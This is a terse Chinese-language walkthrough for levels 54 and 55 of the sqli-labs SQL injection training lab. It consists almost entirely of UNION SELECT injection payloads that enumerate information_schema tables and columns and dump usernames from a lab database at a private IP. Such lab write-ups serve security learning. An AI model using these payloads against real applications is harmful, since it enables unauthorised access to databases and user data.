sqli-labs less 54-55

#sqli-labs less54.

這一關隻能進行十次嘗試

http://192.168.56.101/sqli-labs-master/Less-54/?id=-1’ union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema=‘challeges’)–+

’ union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name=’…’)–+

‘union select 1,2,(select group_concat(’’,username,’’)from challeges.users)#

#sqli-labs less55

?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘challenges’–+

?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘kngkw59j7q’–+

?id=-1) union select 1,2,group_concat(’’,username,’’)from challenges.kngkw59j7q–+